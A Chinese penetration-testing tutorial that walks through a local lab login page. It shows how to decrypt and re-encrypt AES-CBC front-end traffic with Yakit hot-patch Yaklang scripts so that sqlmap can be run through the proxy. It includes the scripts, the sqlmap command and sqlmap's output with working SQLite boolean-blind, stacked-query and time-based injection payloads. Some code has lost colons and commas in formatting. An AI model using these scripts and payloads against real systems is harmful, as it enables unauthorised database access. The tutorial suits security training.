【渗透测试】前端加密请求包和响应包后的SQL注入

华盟原创文章投稿奖励计划

前端加密请求包和响应包后的SQL注入

1.准备工作

测试工具:Yakit

工具版本:社区版 Yakit v1.4.4-0808

更新日志:

Yakit v1.4.4-08081. 修复暗黑模式编辑器颜色展示问题2. 修复编辑器选中卡顿问题3. 修复Webfuzzer大量发包白屏问题,优化性能4. 修复history清空数据没有刷新的问题5. MITM高级配置增加插件并发进程配置Yaklang 1.4.3-beta61. 新增 yak git 库辅助函数,增强能力2. 新增 json schema生成库3. mitm 新增 插件并发控制参数4. poc 库新增可使用 mitm规则选项5. 修复mitm hosts映射不生效的问题6. 提高指纹扫描稳定性,增加web指纹链接复用选项7. 修复yak runner流量保存不到数据库的问题8. 修复三方应用下载功能在windows上的问题自动草稿

靶场地址:

http://127.0.0.1:8787/crypto/sqli/aes-ecb/encrypt/login

自动草稿自动草稿

2.流量劫持

自动草稿自动草稿加密前表单数据

{  "username": "admin",  "password": "123456"}

加密后表单数据

{  "key": "719b2db54ad594e63e5c794d858f2020",  "iv": "515ad47307ad36df91d09e9aaaf299c4",  "message": "lzTlmHjmR4x/R9Iweja01tofeK/TnV1BtHomWnUwJ5Ma74peTHUYghiSnLqRrTpr"}

自动草稿

POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1Host: 127.0.0.1:8787sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"Origin: http://127.0.0.1:8787Accept: */*Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Mode: corsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36sec-ch-ua-mobile: ?0Referer: http://127.0.0.1:8787/crypto/sqli/aes-ecb/encrypt/loginContent-Type: application/jsonSec-Fetch-Dest: emptyContent-Length: 173 {  "key""148489ef5ba8765f06a869e9335fd729",  "iv""82be451547e8a182e69a2915b9a66628",  "message""IA3TZmLENv7LTIpMde9jm+OpttmvyhH/6l176IOiubfv1ogJ2wQIzFWMub6o9zKJ"}

自动草稿自动草稿加密后响应包数据

HTTP/1.1 200 OKDate: Sun, 10 Aug 2025 08:36:51 GMTContent-Type: text/plain; charset=utf-8Content-Length: 217 {  "iv""770461e68491787835eb52e071ee2ca6",  "key""8a6d80ad57e358ca3baf23b8b963d857",  "message""G/6psOqStjDLnP/xnyzIu26GNvnDQ22PUz/sdSgvoHdHL5/YOnegC2ggwG3OJ4fTmFfHoexW5sdo1BJrMgIwUppJbh4cYjFlu3Y8439gxOE="}

自动草稿3.分析代码

大部分加密的逻辑都藏在前端 JavaScript 中;

加密中字段的顺序一般来说是有意义的,JavaScript 中的 Object Properties 是有顺序的

JavaScript 加密的算法可能用的算法库一般不需要用户手动实现,找出算法一般就可以开始实现了。

自动草稿

通过浏览器操作直接定位到 HTML 元素:

自动草稿

<form id="loginForm" method="post">    <div class="form-group">        <label for="username">Username</label>        <input type="text" id="username" name="username" required="" placeholder="Enter your username">    </div>    <div class="form-group">        <label for="password">Password</label>        <input type="password" id="password" name="password" required="" placeholder="Enter your password">    </div>    <div id="errorMessage" class="error-message" style="display: block;">认证失败:failed! your password is incorrect! inject failed!</div>    <button type="submit">Login</button></form>

这个表格和日常见到的表格是不一样的,没有action也没有method,一般来说,在没有这些东西情况下,有两种情况:

(大概率)表单提交事件会忽略掉默认浏览器行为,直接通过 JavaScript 来操作的

表单只提交到当前页面使用默认的 method 方法。

在看页面内容中,发现 <script>中有一段 JavaScript 代码比较明显,从generateKey到Encrypt和Decrypt应有尽有,这个很明显这个表单就是通过 JS 去操作的了。

自动草稿

<script>    document.getElementById('loginForm').addEventListener('submit'function(e) {        e.preventDefault();        // 生成随机的16位key和iv        const generateRandomHex = (length) => {            const bytes = new Uint8Array(length);            crypto.getRandomValues(bytes);            return Array.from(bytes).map(b => b.toString(16).padStart(2'0')).join('');        };         const key = generateRandomHex(16);        const iv = generateRandomHex(16);         const formData = {            usernamedocument.getElementById('username').value,            passworddocument.getElementById('password').value        };         // AES CBC加密        const message = CryptoJS.AES.encrypt(            JSON.stringify(formData),            CryptoJS.enc.Hex.parse(key),            {                ivCryptoJS.enc.Hex.parse(iv),                modeCryptoJS.mode.CBC,                paddingCryptoJS.pad.Pkcs7            }        ).toString();         // 获取当前页面的路径        const currentPath = window.location.pathname;        fetch(currentPath, {            method'POST',            headers: {                'Content-Type''application/json'            },            bodyJSON.stringify({                key: key,                iv: iv,                message: message            })        })            .then(response => {                if (!response.ok) {                    throw new Error('登录失败');                }                return response.json();            })            .then(data => {                // 解密响应数据                const decrypted = CryptoJS.AES.decrypt(                    data.message,                    CryptoJS.enc.Hex.parse(data.key),                    {                        ivCryptoJS.enc.Hex.parse(data.iv),                        modeCryptoJS.mode.CBC,                        paddingCryptoJS.pad.Pkcs7                    }                );                 const decryptedData = JSON.parse(decrypted.toString(CryptoJS.enc.Utf8));                 // 创建弹出提示                const toast = document.createElement('div');                toast.style.cssText = `                    position: fixed;                    top: 20px;                    right: 20px;                    padding: 15px 25px;                    background: ${decryptedData.error ? '#ff4444' : '#44b544'};                    color: white;                    border-radius: 4px;                    box-shadow: 0 2px 5px rgba(0,0,0,0.2);                    z-index: 1000;                `;                toast.textContent = decryptedData.error || `响应信息: ${decryptedData.echo}`;                document.body.appendChild(toast);                 if (decryptedData.error) {                    throw new Error(decryptedData.error);                }                 // 创建遮罩层                const overlay = document.createElement('div');                overlay.style.cssText = `                    position: fixed;                    top: 0;                    left: 0;                    width: 100%;                    height: 100%;                    background: rgba(0, 0, 0, 0.7);                    display: flex;                    justify-content: center;                    align-items: center;                    color: white;                    font-size: 24px;                    z-index: 999;                `;                 let countdown = 1.5;                overlay.textContent = `登录成功! ${countdown}秒后跳转...`;                document.body.appendChild(overlay);                 const timer = setInterval(() => {                    countdown -= 0.5;                    overlay.textContent = `登录成功! ${countdown}秒后跳转...`;                    if (countdown <= 0) {                        clearInterval(timer);                        toast.remove();                        overlay.remove();                        window.location.href = './login';                    }                }, 500);            })            .catch(error => {                const errorMessage = document.getElementById('errorMessage');                errorMessage.style.display = 'block';                errorMessage.textContent = error.message || '登录失败,请重试';            });    });</script>

顺便一提,JS 操作表单提交数据的5种方式:

通过创建一个form元素然后执行他的submit方法来实现

const formInstance = document.createElement("form");...;formInstance.submit();

使用 AJAX:

var xhr = new XMLHttpRequest();...;xhr.open("POST"'/submit'true);

使用 jQuery Ajax:

$.ajax(...)

通过 JavaScript fetch 函数实现

使用第三方库例如Axios API实现

<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script><script>    // 为登录表单添加提交事件监听器    document.getElementById('loginForm').addEventListener('submit'function(e) {        // 阻止表单默认提交行为        e.preventDefault();         // 生成随机十六进制字符串的函数        const generateRandomHex = (length) => {            // 创建指定长度的无符号8位整数数组            const bytes = new Uint8Array(length);            // 使用加密API获取随机值填充数组            crypto.getRandomValues(bytes);            // 将字节数组转换为十六进制字符串            return Array.from(bytes).map(b => b.toString(16).padStart(2'0')).join('');        };         // 生成16字节(128位)的随机密钥和初始化向量(IV)        const key = generateRandomHex(16);  // 16字节 = 128位        const iv = generateRandomHex(16);   // 16字节 = 128位         // 获取表单中的用户名和密码        const formData = {            usernamedocument.getElementById('username').value,            passworddocument.getElementById('password').value        };         // 使用AES-CBC模式加密表单数据        const message = CryptoJS.AES.encrypt(            JSON.stringify(formData),       // 将表单数据转为JSON字符串            CryptoJS.enc.Hex.parse(key),   // 将十六进制密钥解析为CryptoJS格式            {                ivCryptoJS.enc.Hex.parse(iv),  // 解析初始化向量                modeCryptoJS.mode.CBC,           // 使用CBC加密模式                paddingCryptoJS.pad.Pkcs7        // 使用PKCS7填充方案            }        ).toString();  // 获取加密后的密文字符串         // 获取当前页面路径用于提交请求        const currentPath = window.location.pathname;         // 发送加密数据到服务器        fetch(currentPath, {            method'POST',            headers: {                'Content-Type''application/json'  // 设置JSON内容类型            },            bodyJSON.stringify({                 // 序列化请求体                key: key,    // 随机生成的密钥                iv: iv,      // 随机生成的初始化向量                message: message  // 加密后的数据            })        })        .then(response => {            // 检查响应是否成功            if (!response.ok) {                throw new Error('登录失败');            }            return response.json();  // 解析响应JSON        })        .then(data => {            // 解密服务器返回的数据            const decrypted = CryptoJS.AES.decrypt(                data.message,                     // 服务器返回的加密数据                CryptoJS.enc.Hex.parse(data.key), // 解析返回的密钥                {                    ivCryptoJS.enc.Hex.parse(data.iv), // 解析返回的IV                    modeCryptoJS.mode.CBC,              // 使用相同的CBC模式                    paddingCryptoJS.pad.Pkcs7           // 使用相同的填充方案                }            );             // 将解密数据转为UTF-8格式的JSON对象            const decryptedData = JSON.parse(decrypted.toString(CryptoJS.enc.Utf8));             // 创建操作结果提示框            const toast = document.createElement('div');            // 设置提示框样式            toast.style.cssText = `                position: fixed;                top: 20px;                right: 20px;                padding: 15px 25px;                background: ${decryptedData.error ? '#ff4444' : '#44b544'};  // 错误时红色,成功时绿色                color: white;                border-radius: 4px;                box-shadow: 0 2px 5px rgba(0,0,0,0.2);                z-index: 1000;            `;            // 设置提示内容:错误信息或成功消息            toast.textContent = decryptedData.error || `响应信息: ${decryptedData.echo}`;            document.body.appendChild(toast);  // 添加到页面             // 如果有错误则抛出异常            if (decryptedData.error) {                throw new Error(decryptedData.error);            }             // 创建登录成功遮罩层            const overlay = document.createElement('div');            // 设置遮罩层样式            overlay.style.cssText = `                position: fixed;                top: 0;                left: 0;                width: 100%;                height: 100%;                background: rgba(0, 0, 0, 0.7);                display: flex;                justify-content: center;                align-items: center;                color: white;                font-size: 24px;                z-index: 999;            `;             // 设置跳转倒计时            let countdown = 1.5;            overlay.textContent = `登录成功! ${countdown}秒后跳转...`;            document.body.appendChild(overlay);  // 添加到页面             // 创建倒计时定时器            const timer = setInterval(() => {                countdown -= 0.5;  // 每0.5秒更新一次                overlay.textContent = `登录成功! ${countdown}秒后跳转...`;                 // 倒计时结束后执行跳转                if (countdown <= 0) {                    clearInterval(timer);  // 清除定时器                    toast.remove();        // 移除提示框                    overlay.remove();     // 移除遮罩层                    window.location.href = './login';  // 跳转到登录页面                }            }, 500);  // 每500毫秒执行一次        })        .catch(error => {            // 错误处理:显示错误信息            const errorMessage = document.getElementById('errorMessage');            errorMessage.style.display = 'block';            errorMessage.textContent = error.message || '登录失败,请重试';        });    });</script>

代码的主要功能是处理登录表单的提交事件,包括以下步骤:

1. 阻止表单的默认提交行为。

2. 生成随机的密钥(key)和初始化向量(iv)。

3. 获取表单中的用户名和密码。

4. 使用AES-CBC模式加密表单数据(将用户名和密码转为JSON字符串后加密)。

5. 将加密后的数据、密钥和iv发送到服务器(当前路径)。

6. 处理服务器的响应:

   a. 如果响应失败,抛出错误。

   b. 如果成功,解析响应JSON,然后使用响应中返回的密钥和iv解密数据。

   c. 根据解密后的数据判断是否出错,如果出错则显示错误信息;否则显示成功信息,并创建一个倒计时遮罩层,倒计时结束后跳转到登录页面。

自动草稿

4.编写代码

自动草稿

随机 key 和随机初始向量iv,AES CBC 加密,Pkcs7Padding,并且发现数据包内已经带上了 iv 和 key 的 hex 编码后的内容,类似如下的格式:

POST/crypto/sqli/aes-ecb/encrypt/loginHTTP/1.1Host127.0.0.1:8787Origin: http://127.0.0.1:8787Content-Length173 {"key":"148489ef5ba8765f06a869e9335fd729","iv":"82be451547e8a182e69a2915b9a66628","message":"IA3TZmLENv7LTIpMde9jm+OpttmvyhH/6l176IOiubfv1ogJ2wQIzFWMub6o9zKJ"}

其对应的 Yaklang 的核心加密解密代码应该如下:

decrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    obj = json.loads(body)if"iv"in obj && "key"in obj && "message"in obj {        iv = codec.DecodeHex(obj.iv)~        key = codec.DecodeHex(obj.key)~        msg = codec.DecodeBase64(obj.message)~        newBody = string(codec.AESCBCDecryptWithPKCS7Padding(key, msg, iv)~)return poc.ReplaceBody(packet, newBody, false)    }return packet} encrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    iv = randstr(16)    key = randstr(16)    msg = string(body)    enc := codec.AESCBCEncryptWithPKCS7Padding(key, msg, iv /*type: []byte*/)~    newBodyObj = {"iv": codec.EncodeToHex(iv),"key": codec.EncodeToHex(key),"message": codec.EncodeBase64(enc),    }    newBody = json.dumps(newBodyObj)    packet = poc.ReplaceHTTPPacketBody(packet /*type: []byte*/, newBody)return packet}

当写出这两个函数之后,可以快速验证一下函数写的对不对,可以接下来执行下面的代码快速验证:

decrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    obj = json.loads(body)if"iv" in obj && "key" in obj && "message" in obj {        iv = codec.DecodeHex(obj.iv)~        key = codec.DecodeHex(obj.key)~        msg = codec.DecodeBase64(obj.message)~        newBody = string(codec.AESCBCDecryptWithPKCS7Padding(key, msg, iv)~)return poc.ReplaceBody(packet, newBody, false)    }return packet} encrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    iv = randstr(16)    key = randstr(16)    msg = string(body)    enc := codec.AESCBCEncryptWithPKCS7Padding(key, msg, iv /*type: []byte*/)~    newBodyObj = {"iv": codec.EncodeToHex(iv),"key": codec.EncodeToHex(key),"message": codec.EncodeBase64(enc),    }    newBody = json.dumps(newBodyObj)    packet = poc.ReplaceHTTPPacketBody(packet /*type: []byte*/, newBody)return packet} packet = <<<PACKETPOST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1Host: 127.0.0.1:8787Origin: http://127.0.0.1:8787Content-Length: 173 {"key""148489ef5ba8765f06a869e9335fd729","iv""82be451547e8a182e69a2915b9a66628","message""IA3TZmLENv7LTIpMde9jm+OpttmvyhH/6l176IOiubfv1ogJ2wQIzFWMub6o9zKJ"}PACKET result = decrypt(packet)println(string(result))println("------------")result = encrypt(result)println(string(result))

自动草稿5.实际利用
如何让MITM看到请求包明文?让 MITM 看到明文数据包:直接把上述的函数复制到热加载代码中,再修改一下代码,让 encryptData 直接返回整个数据包,这样就可以直接保存到数据库了。在这里需要使用到 hijackSaveHTTPFlow 这个函数,这个函数可以在数据包进入数据库之前进行一次修改,可以在这里解密数据包,保证数据包传入的是正确的。MITM自动保存明文数据包这个测试成功 Web Fuzzer 之后,想在不影响数据包交互的情况下,自动把解密后数据存储到数据库?跟随如下步骤,点击热加载,就发现,请求包已经变成了明文:

decrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    obj = json.loads(body)    if "iv" in obj && "key" in obj && "message" in obj {        iv = codec.DecodeHex(obj.iv)~        key = codec.DecodeHex(obj.key)~        msg = codec.DecodeBase64(obj.message)~        newBody = string(codec.AESCBCDecryptWithPKCS7Padding(key, msg, iv)~)        return poc.ReplaceBody(packet, newBody, false)    }    return packet} hijackSaveHTTPFlow = func(flow /* *yakit.HTTPFlow */, modify /* func(modified *yakit.HTTPFlow) */, drop/* func() */) {    req = codec.StrconvUnquote(flow.Request)~    flow.Request = codec.StrconvQuote(decrypt(req))    rsp = codec.StrconvUnquote(flow.Response)~    flow.Response = codec.StrconvQuote(decrypt(rsp))    modify(flow)}

自动草稿自动草稿随后点击热加载按钮,然后过流量:自动草稿自动草稿发现和一开始的流量有着显著区别,iv, key 和 message 都没了,直接变成了大家喜闻乐见的明文。这样就可以直接把 MITM 的数据包发送到 Web Fuzzer,直接修改明文数据,通过 Web Fuzzer 热加载去加密数据包发送,并且保证展示也是被解密的。
如何在Web Fuzzer自动加密解密数据包?
直接调用发现解密和加密都看起来比较正常,那么就可以直接在热加载中使用这一对儿函数了:

encrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    iv = randstr(16)    key = randstr(16)    msg = string(body)    enc := codec.AESCBCEncryptWithPKCS7Padding(key, msg, iv /*type: []byte*/)~    newBodyObj = {        "iv": codec.EncodeToHex(iv),        "key": codec.EncodeToHex(key),        "message": codec.EncodeBase64(enc),    }    newBody = json.dumps(newBodyObj)    packet = poc.ReplaceHTTPPacketBody(packet /*type: []byte*/, newBody)    return packet} decrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    obj = json.loads(body)    if "iv" in obj && "key" in obj && "message" in obj {        iv = codec.DecodeHex(obj.iv)~        key = codec.DecodeHex(obj.key)~        msg = codec.DecodeBase64(obj.message)~        newBody = string(codec.AESCBCDecryptWithPKCS7Padding(key, msg, iv)~)        return poc.ReplaceBody(packet, newBody, false)    }    return packet} beforeRequest = func(req){    return encrypt(req)} afterRequest = func(rsp){    return decrypt(rsp)}

自动草稿自动草稿自动草稿至此,整个流程均为明文显示。自动草稿自动草稿自动草稿结合SQLMAP进一步深入利用保存请求包为1.txt

POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1Host127.0.0.1:8787Content-Type: application/jsonsec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Origin: http://127.0.0.1:8787User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like GeckoChrome/140.0.0.0 Safari/537.36Accept*/*Sec-Fetch-Dest: emptyAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Chromium";v="140""Not=A?Brand";v="24""Google Chrome";v="140"Referer: http://127.0.0.1:8787/crypto/sqli/aes-ecb/encrypt/loginSec-Fetch-Site: same-originSec-Fetch-Mode: corsAccept-Encoding: gzip, deflate, br, zstdContent-Length40 {"username":"admin*","password":"123456"}

执行命令

python sqlmap.py -r 1.txt --random-agent --level=5 --risk=3 -v 3 --proxy="http://127.0.0.1:8083"

热加载命令

encrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    iv = randstr(16)    key = randstr(16)    msg = string(body)    enc := codec.AESCBCEncryptWithPKCS7Padding(key, msg, iv /*type: []byte*/)~    newBodyObj = {        "iv": codec.EncodeToHex(iv),        "key": codec.EncodeToHex(key),        "message": codec.EncodeBase64(enc),    }    newBody = json.dumps(newBodyObj)    packet = poc.ReplaceHTTPPacketBody(packet /*type: []byte*/, newBody)    return packet}decrypt = packet => {    body = poc.GetHTTPPacketBody(packet)    obj = json.loads(body)    if "iv" in obj && "key" in obj && "message" in obj {        iv = codec.DecodeHex(obj.iv)~        key = codec.DecodeHex(obj.key)~        msg = codec.DecodeBase64(obj.message)~        newBody = string(codec.AESCBCDecryptWithPKCS7Padding(key, msg, iv)~)        return poc.ReplaceBody(packet, newBody, false)    }    return packet}beforeRequest = func(req){    return encrypt(req)}afterRequest = func(rsp){    return decrypt(rsp)}hijackSaveHTTPFlow = func(flow /* *yakit.HTTPFlow */, modify /* func(modified *yakit.HTTPFlow) */, drop/* func() */) {    req = codec.StrconvUnquote(flow.Request)~    flow.Request = codec.StrconvQuote(decrypt(req))    rsp = codec.StrconvUnquote(flow.Response)~    flow.Response = codec.StrconvQuote(decrypt(rsp))    modify(flow)}

自动草稿

(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ysqlmap identified the following injection point(s) with a total of 325 HTTP(s) requests:---Parameter: JSON #1* ((custom) POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: {"username":"-8985' OR 6985=6985-- nPTn","password":"123456"}    Vector: OR [INFERENCE]     Type: stacked queries    Title: SQLite > 2.0 stacked queries (heavy query - comment)    Payload: {"username":"admin';SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--","password":"123456"}    Vector: ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUMEND)--     Type: time-based blind    Title: SQLite > 2.0 AND time-based blind (heavy query)    Payload: {"username":"admin' AND 9319=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- FOzU","password":"123456"}    Vector: AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUMEND)---[02:36:42] [INFO] the back-end DBMS is SQLiteback-end DBMS: SQLite

自动草稿6.知识扩展热加载热加载是一种允许在不停止或重启应用程序的情况下,动态加载或更新特定组件或模块的功能。这种技术常用于开发过程中,提高开发效率和用户体验。在Yakit 的Web Fuzzer中,热加载是一种高级技术,让 Yak 成为 Web Fuzzer 和用户自定义代码中的桥梁,它允许编写一段 Yak 函数,在 Web Fuzzer 过程中使用,从而实现自定义 fuzztag 或更多功能。调用热加载 fuzztag无参数调用

{{yak(funcname)}}

有参数调用

{{yak(funcname|param)}}

传入的参数可以是 fuzztag

{{yak(funcname|{{x(pass_top25)}})}}

热加载函数定义

// 函数名为funcname,参数只有一个,为param,类型是字符串funcname = func(param) {    // 返回值可以是字符串或数组    return param}

热加载中的”魔术方法”在热加载代码区中,实际上存在两个特殊的魔术方法:beforeRequest和afterRequest,它函数的定义如下:

// beforeRequest 允许发送数据包前再做一次处理,定义为 func(origin []byte) []byte beforeRequest = func(req) {     return []byte(req)} // afterRequest 允许对每一个请求的响应做处理,定义为 func(origin []byte) []byte afterRequest = func(rsp) {    return []byte(rsp)}

这两个魔术方法分别在每次请求之前和每次请求拿到响应之后调用,它们可以用于修改 Web Fuzzer 的请求与响应。通过这两个魔术方法配合 Yak代码,实际上可以实现许多有用的功能。以下是一个简单的例子,将请求包中的__TIMESTAMP__替换为当前的时间戳:自动草稿如果只是使用这两个魔术方法,实际上不需要在 Web Fuzzer 中使用热加载 fuzztag ,它就会自动执行。自动草稿

方法:hijackRequest

// hijackHTTPRequest 每一个新的 HTTPRequest 将会被这个 HOOK 劫持,// 劫持后通过 forward(modified) 来把修改后的请求覆盖// 如果需要屏蔽该数据包,通过 drop() 来屏蔽hijackHTTPRequest = func(isHttps, url, req, forward /*func(modifiedRequest []byte)*/, drop /*func()*/) {}

方法:beforeRequest

// beforeRequest 允许发送数据包前再做一次处理,定义为 func(origin []byte) []bytebeforeRequest = func(req) {}

方法:hijackResponse/hijackResponseEX

// hijackHTTPResponse 每一个新的 HTTPResponse 将会被这个 HOOK 劫持,劫持后通过 forward(modified) 来把修改后的请求覆盖,如果需要屏蔽该数据包,通过 drop() 来屏蔽hijackHTTPResponse = func(isHttps, url, rsp, forward, drop) {}hijackHTTPResponseEx = func(isHttps, url, req, rsp, forward, drop) {}

方法:afterRequest

// 在回复给浏览器之前的hookafterRequest = func(ishttps, oreq/*原始请求*/ ,req/*hiajck修改之后的请求*/ ,orsp/*原始响应*/ ,rsp/*hijack修改后的响应*/){}

方法:hijackSaveHTTPFlow

hijackSaveHTTPFlow = func(flow /* *yakit.HTTPFlow */, modify /* func(modified *yakit.HTTPFlow) */, drop/* func() */) {}

7.参考文章

渗透测试高级技巧:分析验签与前端加密(一)

渗透测试高级技巧(二):对抗前端动态密钥与非对称加密防护

渗透测试高级技巧(三):被前端加密后的漏洞测试

codec

https://yaklang.com/api-manual/api/codec/#decodehex

[json] JSON序列化与反序列化

https://yaklang.com/api-manual/buildinlibs/lib_json

不许动,你被劫持了!

https://yaklang.com/articles/mitm_hijack/

热加载

https://yaklang.com/products/Web%20Fuzzer/fuzz-hotpatch

热加载场景案例:csrf token保护下的爆破

https://yaklang.com/products/Web%20Fuzzer/fuzz-hotpatch-example1

热加载场景案例:爆破aes cbc加密

https://yaklang.com/products/Web%20Fuzzer/fuzz-hotpatch-example2

8.致谢

https://yaklang.com/

网络安全而生的领域编程语言

自动草稿自动草稿自动草稿

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容